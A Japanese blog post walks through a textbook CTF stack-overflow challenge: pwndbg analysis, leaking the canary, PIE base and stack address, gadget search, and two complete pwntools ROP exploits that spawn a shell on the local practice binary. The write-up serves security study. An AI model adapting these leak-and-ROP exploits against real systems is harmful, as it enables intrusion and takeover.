pwndbg> disassemble main Dump of assembler code for function main: 0x00007ffff7f3a0c9 <+0>: endbr64 0x00007ffff7f3a0cd <+4>: push rbp 0x00007ffff7f3a0ce <+5>: mov rbp,rsp => 0x00007ffff7f3a0d1 <+8>: sub rsp,0x30 0x00007ffff7f3a0d5 <+12>: mov rax,QWORD PTR fs:0x28 0x00007ffff7f3a0de <+21>: mov QWORD PTR [rbp-0x8],rax 0x00007ffff7f3a0e2 <+25>: xor eax,eax 0x00007ffff7f3a0e4 <+27>: mov QWORD PTR [rbp-0x20],0x0 0x00007ffff7f3a0ec <+35>: mov QWORD PTR [rbp-0x18],0x0 0x00007ffff7f3a0f4 <+43>: mov rax,QWORD PTR [rip+0xc14f5] # 0x7ffff7ffb5f0 <stdout> 0x00007ffff7f3a0fb <+50>: mov esi,0x0 0x00007ffff7f3a100 <+55>: mov rdi,rax 0x00007ffff7f3a103 <+58>: call 0x7ffff7f52df0 <setbuf> 0x00007ffff7f3a108 <+63>: lea rdi,[rip+0x93ef5] # 0x7ffff7fce004 0x00007ffff7f3a10f <+70>: call 0x7ffff7f50ce0 <puts> 0x00007ffff7f3a114 <+75>: mov DWORD PTR [rbp-0x24],0x0 0x00007ffff7f3a11b <+82>: jmp 0x7ffff7f3a168 <main+159> 0x00007ffff7f3a11d <+84>: mov eax,DWORD PTR [rbp-0x24] 0x00007ffff7f3a120 <+87>: add eax,0x1 0x00007ffff7f3a123 <+90>: mov esi,eax 0x00007ffff7f3a125 <+92>: lea rdi,[rip+0x93ef5] # 0x7ffff7fce021 0x00007ffff7f3a12c <+99>: mov eax,0x0 0x00007ffff7f3a131 <+104>: call 0x7ffff7f49020 <printf> 0x00007ffff7f3a136 <+109>: lea rax,[rbp-0x20] 0x00007ffff7f3a13a <+113>: mov edx,0x70 0x00007ffff7f3a13f <+118>: mov rsi,rax 0x00007ffff7f3a142 <+121>: mov edi,0x0 0x00007ffff7f3a147 <+126>: call 0x7ffff7f88f80 <read> 0x00007ffff7f3a14c <+131>: lea rax,[rbp-0x20] 0x00007ffff7f3a150 <+135>: mov rsi,rax 0x00007ffff7f3a153 <+138>: lea rdi,[rip+0x93ed8] # 0x7ffff7fce032 0x00007ffff7f3a15a <+145>: mov eax,0x0 0x00007ffff7f3a15f <+150>: call 0x7ffff7f49020 <printf> 0x00007ffff7f3a164 <+155>: add DWORD PTR [rbp-0x24],0x1 0x00007ffff7f3a168 <+159>: cmp DWORD PTR [rbp-0x24],0x3 0x00007ffff7f3a16c <+163>: jle 0x7ffff7f3a11d <main+84> 0x00007ffff7f3a16e <+165>: lea rdi,[rip+0x93eca] # 0x7ffff7fce03f 0x00007ffff7f3a175 <+172>: call 0x7ffff7f50ce0 <puts> 0x00007ffff7f3a17a <+177>: mov eax,0x0 0x00007ffff7f3a17f <+182>: mov rcx,QWORD PTR [rbp-0x8] 0x00007ffff7f3a183 <+186>: xor rcx,QWORD PTR fs:0x28 0x00007ffff7f3a18c <+195>: je 0x7ffff7f3a193 <main+202> 0x00007ffff7f3a18e <+197>: call 0x7ffff7f8c8c0 <__stack_chk_fail_local> 0x00007ffff7f3a193 <+202>: leave 0x00007ffff7f3a194 <+203>: ret End of assembler dump.
スタックを表にまとめます。
| アドレス | サイズ | 内容 |
|---|---|---|
| rbp - 0x30 | 12 | 空き(rsp) |
| rbp - 0x24 | 4 | ループカウンタ(i) |
| rbp - 0x20 | 16 | msg |
| rbp - 0x10 | 8 | 空き |
| rbp - 0x08 | 8 | canary |
| rbp |
スタック確保後の状態の GDB です。[ STACK ] を見ると、msg の後の 8byte の空き領域は、0 のようです。Saved RBP には、__libc_csu_init のアドレスが入っています。これをリークすることにより、ベースアドレスが求まりそうです。
$ gdb -q ./chall_stack Poetry could not find a pyproject.toml file in /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack or its parents pwndbg: loaded 169 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list. pwndbg: created $rebase, $base, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break) Reading symbols from ./chall_stack... (No debugging symbols found in ./chall_stack) ------- tip of the day (disable with set show-tips off) ------- Need to mmap or mprotect memory in the debugee? Use commands with the same name to inject and run such syscalls pwndbg> start Temporary breakpoint 1 at 0xa0d1 Temporary breakpoint 1, 0x00007ffff7f3a0d1 in main () (省略) pwndbg> si 0x00007ffff7f3a0d5 in main () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ REGISTERS / show-flags off / show-compact-regs off ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq RAX 0x7ffff7f3a0c9 (main) ◂— endbr64 RBX 0 RCX 4 RDX 0x7fffffffe218 —▸ 0x7fffffffe4fa ◂— 'SHELL=/bin/bash' RDI 1 RSI 0x7fffffffe208 —▸ 0x7fffffffe49e ◂— '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack' R8 0 R9 4 R10 0 R11 1 R12 0x7ffff7f3b220 (__libc_csu_fini) ◂— endbr64 R13 0 R14 0 R15 0 RBP 0x7fffffffe0d0 —▸ 0x7ffff7f3b180 (__libc_csu_init) ◂— endbr64 *RSP 0x7fffffffe0a0 —▸ 0x7fffffffe208 —▸ 0x7fffffffe49e ◂— '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack' *RIP 0x7ffff7f3a0d5 (main+12) ◂— mov rax, qword ptr fs:[0x28] qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ DISASM / x86-64 / set emulate on ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq 0x7ffff7f3a0d1 <main+8> sub rsp, 0x30 RSP => 0x7fffffffe0a0 (0x7fffffffe0d0 - 0x30) ► 0x7ffff7f3a0d5 <main+12> mov rax, qword ptr fs:[0x28] RAX, [0x7ffff7fff8a8] => 0x4a2a08b019274e00 0x7ffff7f3a0de <main+21> mov qword ptr [rbp - 8], rax [0x7fffffffe0c8] <= 0x4a2a08b019274e00 0x7ffff7f3a0e2 <main+25> xor eax, eax EAX => 0 0x7ffff7f3a0e4 <main+27> mov qword ptr [rbp - 0x20], 0 [0x7fffffffe0b0] <= 0 0x7ffff7f3a0ec <main+35> mov qword ptr [rbp - 0x18], 0 [0x7fffffffe0b8] <= 0 0x7ffff7f3a0f4 <main+43> mov rax, qword ptr [rip + 0xc14f5] RAX, [stdout] => 0x7ffff7ffb240 (_IO_2_1_stdout_) ◂— 0xfbad2084 0x7ffff7f3a0fb <main+50> mov esi, 0 ESI => 0 0x7ffff7f3a100 <main+55> mov rdi, rax RDI => 0x7ffff7ffb240 (_IO_2_1_stdout_) ◂— 0xfbad2084 0x7ffff7f3a103 <main+58> call setbuf <setbuf> 0x7ffff7f3a108 <main+63> lea rdi, [rip + 0x93ef5] RDI => 0x7ffff7fce004 ◂— 'You can put message 4 times!' qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ STACK ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq 00:0000x rsp 0x7fffffffe0a0 —▸ 0x7fffffffe208 —▸ 0x7fffffffe49e ◂— '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack' 01:0008x-028 0x7fffffffe0a8 ◂— 0 02:0010x-020 0x7fffffffe0b0 —▸ 0x7ffff7f3b180 (__libc_csu_init) ◂— endbr64 03:0018x-018 0x7fffffffe0b8 —▸ 0x7ffff7f3b220 (__libc_csu_fini) ◂— endbr64 04:0020x-010 0x7fffffffe0c0 ◂— 0 05:0028x-008 0x7fffffffe0c8 ◂— 0 06:0030x rbp 0x7fffffffe0d0 —▸ 0x7ffff7f3b180 (__libc_csu_init) ◂— endbr64 07:0038x+008 0x7fffffffe0d8 —▸ 0x7ffff7f3a9b0 (__libc_start_main+1168) ◂— mov edi, eax qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ BACKTRACE ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq ► 0 0x7ffff7f3a0d5 main+12 1 0x7ffff7f3a9b0 __libc_start_main+1168 2 0x7ffff7f3a00e _start+46
簡単に、canary の先頭の 0 に別の値を埋めるのをやってみます。
最初は、16byte を書いてみます。read関数は NULL文字を設定しないので、空きの 8byte のデータも一緒に出力されることが期待されますが、上で見たように、そこは 0 になっていたので、何も読めません。
次に、25byte を書いてみます。a の後に、5d 20 20 84 08 3f 60 80 41 53 0d 76 7f という値が出力されています。最初の 7byte は canary で、あとの 6byte は、Saved RBP なので、__libc_csu_init のアドレス(0x7f760d534180)だと思われます。
$ python -c 'print("a" * 16, end="")' | ./chall_stack You can put message 4 times! Input (1/4) >> Output : aaaaaaaaaaaaaaaa Input (2/4) >> Output : aaaaaaaaaaaaaaaa Input (3/4) >> Output : aaaaaaaaaaaaaaaa Input (4/4) >> Output : aaaaaaaaaaaaaaaa Bye! $ python -c 'print("a" * 16, end="")' | ./chall_stack | hexdump -C 00000000 59 6f 75 20 63 61 6e 20 70 75 74 20 6d 65 73 73 |You can put mess| 00000010 61 67 65 20 34 20 74 69 6d 65 73 21 0a 49 6e 70 |age 4 times!.Inp| 00000020 75 74 20 28 31 2f 34 29 20 3e 3e 20 4f 75 74 70 |ut (1/4) >> Outp| 00000030 75 74 20 3a 20 61 61 61 61 61 61 61 61 61 61 61 |ut : aaaaaaaaaaa| 00000040 61 61 61 61 61 0a 49 6e 70 75 74 20 28 32 2f 34 |aaaaa.Input (2/4| 00000050 29 20 3e 3e 20 4f 75 74 70 75 74 20 3a 20 61 61 |) >> Output : aa| 00000060 61 61 61 61 61 61 61 61 61 61 61 61 61 61 0a 49 |aaaaaaaaaaaaaa.I| 00000070 6e 70 75 74 20 28 33 2f 34 29 20 3e 3e 20 4f 75 |nput (3/4) >> Ou| 00000080 74 70 75 74 20 3a 20 61 61 61 61 61 61 61 61 61 |tput : aaaaaaaaa| 00000090 61 61 61 61 61 61 61 0a 49 6e 70 75 74 20 28 34 |aaaaaaa.Input (4| 000000a0 2f 34 29 20 3e 3e 20 4f 75 74 70 75 74 20 3a 20 |/4) >> Output : | 000000b0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa| 000000c0 0a 42 79 65 21 0a |.Bye!.| 000000c6 $ python -c 'print("a" * 25, end="")' | ./chall_stack You can put message 4 times! Input (1/4) >> Output : aaaaaaaaaaaaaaaaaaaaaaaaa�;��C�b�A�{� Input (2/4) >> Output : aaaaaaaaaaaaaaaaaaaaaaaaa�;��C�b�A�{� Input (3/4) >> Output : aaaaaaaaaaaaaaaaaaaaaaaaa�;��C�b�A�{� Input (4/4) >> Output : aaaaaaaaaaaaaaaaaaaaaaaaa�;��C�b�A�{� Bye! *** stack smashing detected ***: terminated 中止 $ python -c 'print("a" * 25, end="")' | ./chall_stack | hexdump -C 00000000 59 6f 75 20 63 61 6e 20 70 75 74 20 6d 65 73 73 |You can put mess| 00000010 61 67 65 20 34 20 74 69 6d 65 73 21 0a 49 6e 70 |age 4 times!.Inp| 00000020 75 74 20 28 31 2f 34 29 20 3e 3e 20 4f 75 74 70 |ut (1/4) >> Outp| 00000030 75 74 20 3a 20 61 61 61 61 61 61 61 61 61 61 61 |ut : aaaaaaaaaaa| 00000040 61 61 61 61 61 61 61 61 61 61 61 61 61 61 5d 20 |aaaaaaaaaaaaaa] | 00000050 20 84 08 3f 60 80 41 53 0d 76 7f 0a 49 6e 70 75 | ..?`.AS.v..Inpu| *** stack smashing detected ***: terminated 00000060 74 20 28 32 2f 34 29 20 3e 3e 20 4f 75 74 70 75 |t (2/4) >> Outpu| 00000070 74 20 3a 20 61 61 61 61 61 61 61 61 61 61 61 61 |t : aaaaaaaaaaaa| 00000080 61 61 61 61 61 61 61 61 61 61 61 61 61 5d 20 20 |aaaaaaaaaaaaa] | 00000090 84 08 3f 60 80 41 53 0d 76 7f 0a 49 6e 70 75 74 |..?`.AS.v..Input| 000000a0 20 28 33 2f 34 29 20 3e 3e 20 4f 75 74 70 75 74 | (3/4) >> Output| 000000b0 20 3a 20 61 61 61 61 61 61 61 61 61 61 61 61 61 | : aaaaaaaaaaaaa| 000000c0 61 61 61 61 61 61 61 61 61 61 61 61 5d 20 20 84 |aaaaaaaaaaaa] .| 000000d0 08 3f 60 80 41 53 0d 76 7f 0a 49 6e 70 75 74 20 |.?`.AS.v..Input | 000000e0 28 34 2f 34 29 20 3e 3e 20 4f 75 74 70 75 74 20 |(4/4) >> Output | 000000f0 3a 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |: aaaaaaaaaaaaaa| 00000100 61 61 61 61 61 61 61 61 61 61 61 5d 20 20 84 08 |aaaaaaaaaaa] ..| 00000110 3f 60 80 41 53 0d 76 7f 0a 42 79 65 21 0a |?`.AS.v..Bye!.| 0000011e
__libc_csu_init のアドレスを調べます。これは相対アドレスなので、先ほど調べたアドレスから引くと、0x7f760d534180 - 0xb180 = 0x7F760D529000 になり、これがベースアドレスになります。書籍にも解説がありましたが、ベースアドレスはページ境界(4KB境界)になるので、下位12bit が 0 になりますので、合ってそうです。
$ nm chall_stack | grep __libc_csu_init
000000000000b180 T __libc_csu_init
次に、/bin/sh、system関数、execve関数を探します。静的リンクなので、libc を含んでいるので、あるはずです。しかし、どれも見つかりません。使ってない関数は含まれないということかもしれません。
$ strings -tx chall_stack | grep '/bin/sh' $ nm chall_stack | grep system 00000000000b3cc0 r system_dirs 00000000000b3ca0 r system_dirs_len $ nm chall_stack | grep execve
仕方ないので別の手を考えます。ヒントに、スタックアドレスがリーク可能とあるので、スタックバッファオーバーフローで、/bin/sh を書いておいて(例えば、msg と canary の間の空き 8byte に書いておく)、そのアドレスを引数にすることが出来るかもしれません。スタックに、スタックアドレスが書かれているかを調べます。pwndbg には、tele というコマンドがあり、スタックをいい感じに表示してくれます。
msg は rsp + 0x10 からなので、それ以降で探すと、、、rsp + 0x50 にスタックのアドレスらしいものが入っています。
pwndbg> tele rsp 20 00:0000x rsp 0x7fffffffe0a0 —▸ 0x7fffffffe208 —▸ 0x7fffffffe49e ◂— '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack' 01:0008x-028 0x7fffffffe0a8 ◂— 0 ... ↓ 3 skipped 05:0028x-008 0x7fffffffe0c8 ◂— 0x7e770be78c5fa000 06:0030x rbp 0x7fffffffe0d0 —▸ 0x7ffff7f3b180 (__libc_csu_init) ◂— endbr64 07:0038x+008 0x7fffffffe0d8 —▸ 0x7ffff7f3a9b0 (__libc_start_main+1168) ◂— mov edi, eax 08:0040x+010 0x7fffffffe0e0 ◂— 0 09:0048x+018 0x7fffffffe0e8 ◂— 0x100000000 0a:0050x+020 0x7fffffffe0f0 —▸ 0x7fffffffe208 —▸ 0x7fffffffe49e ◂— '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack' 0b:0058x+028 0x7fffffffe0f8 —▸ 0x7ffff7f3a0c9 (main) ◂— endbr64 0c:0060x+030 0x7fffffffe100 ◂— 0 0d:0068x+038 0x7fffffffe108 ◂— 0x600000000 0e:0070x+040 0x7fffffffe110 ◂— 0xc0000008e 0f:0078x+048 0x7fffffffe118 ◂— 0x80 10:0080x+050 0x7fffffffe120 ◂— 0 ... ↓ 3 skipped
念のため、メモリマップを確認しておきます。ちゃんとスタックのアドレスでした。msg と canary の間の空き 8byte に、"/bin/sh" を書いておくとすると、得られるスタックのアドレスが 0x7fffffffe208 で、書き込みたいスタックのアドレスは 0x7fffffffe0c0 なので、その差は、0x148 です。
pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File 0x7ffff7f2a000 0x7ffff7f2e000 r--p 4000 0 [vvar] 0x7ffff7f2e000 0x7ffff7f30000 r-xp 2000 0 [vdso] 0x7ffff7f30000 0x7ffff7f39000 r--p 9000 0 /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack 0x7ffff7f39000 0x7ffff7fce000 r-xp 95000 9000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack 0x7ffff7fce000 0x7ffff7ff7000 r--p 29000 9e000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack 0x7ffff7ff7000 0x7ffff7ffb000 r--p 4000 c6000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack 0x7ffff7ffb000 0x7ffff7ffe000 rw-p 3000 ca000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [heap] 0x7ffff7fff000 0x7ffff8022000 rw-p 23000 0 [heap] 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
次に、ヒントに、syscall命令を ROP Gadget で利用できるとあるので、探して見ます。syscall命令は、たくさん見つかりました。execve のシステムコールを使うので、pop rax、pop rdi、pop rsi、pop rdx も探しておきます。全部見つかりました。
$ rp-lin -f ./chall_stack -r 1 | grep 'syscall' (省略) 0x262a4: syscall ; ret ; (1 found) (省略) $ rp-lin -f ./chall_stack -r 1 | grep 'pop rax' (省略) 0x59a27: pop rax ; ret ; (1 found) (省略) $ rp-lin -f ./chall_stack -r 1 | grep 'pop rdi' (省略) 0x9c3a: pop rdi ; ret ; (1 found) (省略) $ rp-lin -f ./chall_stack -r 1 | grep 'pop rsi' 0x177ce: pop rsi ; ret ; (1 found) (省略) $ rp-lin -f ./chall_stack -r 1 | grep 'pop rdx' 0x9b3f: pop rdx ; ret ; (1 found)
これで、必要な情報は揃ったので、あとは、エクスプロイトコードを実装していきます。以下になりました。
from pwn import * context( os='linux', arch='amd64' ) #prog = "../shokai_security_contest/files/pwnable/99_challs/stack/chall_stack" prog = "./chall_stack" elf = ELF( prog ) poprax = 0x59a27 poprdi = 0x9c3a poprsi = 0x177ce poprdx = 0x9b3f syscall = 0x262a4 proc = process( prog ) #proc = gdb.debug( prog ) # canaryのリーク proc.sendafter( '>> ', b'a' * 0x18 + b'!' ) proc.recvuntil( 'a!' ) canary = u64( b'\x00' + proc.recv(7) ) info( f"canary = 0x{canary:08X}" ) # プログラムバイナリのベースアドレスを求める # (Saved RBP に格納されている __libc_csu_init から求める) proc.sendafter( '>> ', b'a' * 0x1F + b'!' ) proc.recvuntil( 'a!' ) adrs = u64( proc.recv(6) + b'\x00\x00' ) base = adrs - 0xb180 info( f"adrs = 0x{adrs:08X}, base=0x{base:08X}" ) # スタックアドレスのリーク proc.sendafter( '>> ', b'a' * 0x3F + b'!' ) proc.recvuntil( 'a!' ) adrs = u64( proc.recv(6) + b'\x00\x00' ) stack = adrs - 0x148 info( f"adrs = 0x{adrs:08X}, stack=0x{stack:08X}" ) ropchain = b'a' * 0x10 ropchain += p64( 0x68732f6e69622f ) # "/bin/sh" ropchain += p64( canary ) ropchain += p64( 0xdeadbeef ) ropchain += p64( base + poprax ) ropchain += p64( 0x3b ) # execve ropchain += p64( base + poprdi ) ropchain += p64( stack ) # "/bin/sh"の格納先 ropchain += p64( base + poprsi ) ropchain += p64( 0x00 ) # execveの第2引数 ropchain += p64( base + poprdx ) ropchain += p64( 0x00 ) # execveの第3引数 ropchain += p64( base + syscall ) # シェルを取る proc.sendafter( '>> ', ropchain ) proc.interactive()
実行してみます。最初はうまくいきませんでしたが、デバッグして、いくつか修正したところ、うまくシェルを取ることが出来ました!
$ python tmp.py [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No [+] Starting local process './chall_stack': pid 394953 /home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/tmp.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes proc.recvuntil( 'a!' ) [*] canary = 0x48B9A93A6DAF2700 /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/tmp.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes proc.recvuntil( 'a!' ) [*] adrs = 0x7F288F9AB180, base=0x7F288F9A0000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/tmp.py:34: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes proc.recvuntil( 'a!' ) [*] adrs = 0x7FFEDDC23E28, stack=0x7FFEDDC23CE0 [*] Switching to interactive mode Output : aaaaaaaaaaaaaaaa/bin/sh Bye! $ ls chall_stack chall_stack.c core exploit_stack.py tmp.py
一応、提供されている模範解答を見てみます。
なるほど、"/bin/sh" は素直に msg の先頭から配置していますね。プログラムバイナリのベースアドレスは、main関数のアドレスを使ってますね、見返してみると、確かに rsp+0x58 の位置に main関数がありました。
あとは、だいたい同じですが、pwntools の便利な使い方をしてるので、学んでいきます。まず、unpack(conn.recv(6), 'all') ですね。pwntools の unpack関数は、リトルエンディアンとして認識して byte型から整数に直してくれるようです。次に、rop = ROP(binf) 以降が全然違いますね。え、ROP Gadget を自動で探してくれて、ROPチェーンを構築してくれるそうです。それは便利すぎますが、常に使えるんでしょうか、ROP Gadget が見つからない場合とかはどうなるんでしょうね。あと、地味に、constants.SYS_execve は便利ですね、システムコール番号を忘れても大丈夫ですし、見やすいです。
#!/usr/bin/env python3 from pwn import * bin_file = './chall_stack' context(os = 'linux', arch = 'amd64') # context(terminal = ['tmux', 'splitw', '-v']) # context.log_level = 'debug' binf = ELF(bin_file) offset_main = binf.functions['main'].address def attack(conn, **kwargs): conn.sendafter('>> ', b'a'*0x18+b'!') conn.recvuntil('a!') canary = unpack(b'\x00' + conn.recv(7)) info('canary = 0x{:08x}'.format(canary)) conn.sendafter('>> ', b'b'*0x3f+b'!') conn.recvuntil('b!') addr_stack = unpack(conn.recv(6), 'all') - 0x158 info('addr_stack = 0x{:08x}'.format(addr_stack)) conn.sendafter('>> ', b'c'*0x47+b'!') conn.recvuntil('c!') addr_main = unpack(conn.recv(6), 'all') binf.address = addr_main - offset_main info('addr_bin_base = 0x{:08x}'.format(binf.address)) rop = ROP(binf) exploit = b'/bin/sh'.ljust(0x18, b'\x00') exploit += pack(canary) exploit += pack(0xdeadbeef) exploit += flat(rop.rdi.address, addr_stack) exploit += flat(rop.rsi.address, 0) exploit += flat(rop.rdx.address, 0) exploit += flat(rop.rax.address, constants.SYS_execve) exploit += pack(rop.syscall.address) conn.sendafter('>> ', exploit) def main(): # conn = gdb.debug(bin_file) conn = process(bin_file) attack(conn) conn.interactive() if __name__=='__main__': main()
スタックベースのエクスプロイトは、なかなかボリュームがありました。以上です。
おわりに
今回も、引き続き、「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」を読み進めました。スタックを使うエクスプロイトがよくまとまっていたと思います。親切丁寧な説明は無く、解釈に時間がかかってしまう書籍ですが、たくさんの情報を提供してくれるので、なるべく飛ばさないように、確実に進めたいと思います。
最後になりましたが、エンジニアグループのランキングに参加中です。
気楽にポチッとよろしくお願いいたします🙇
今回は以上です!
最後までお読みいただき、ありがとうございました。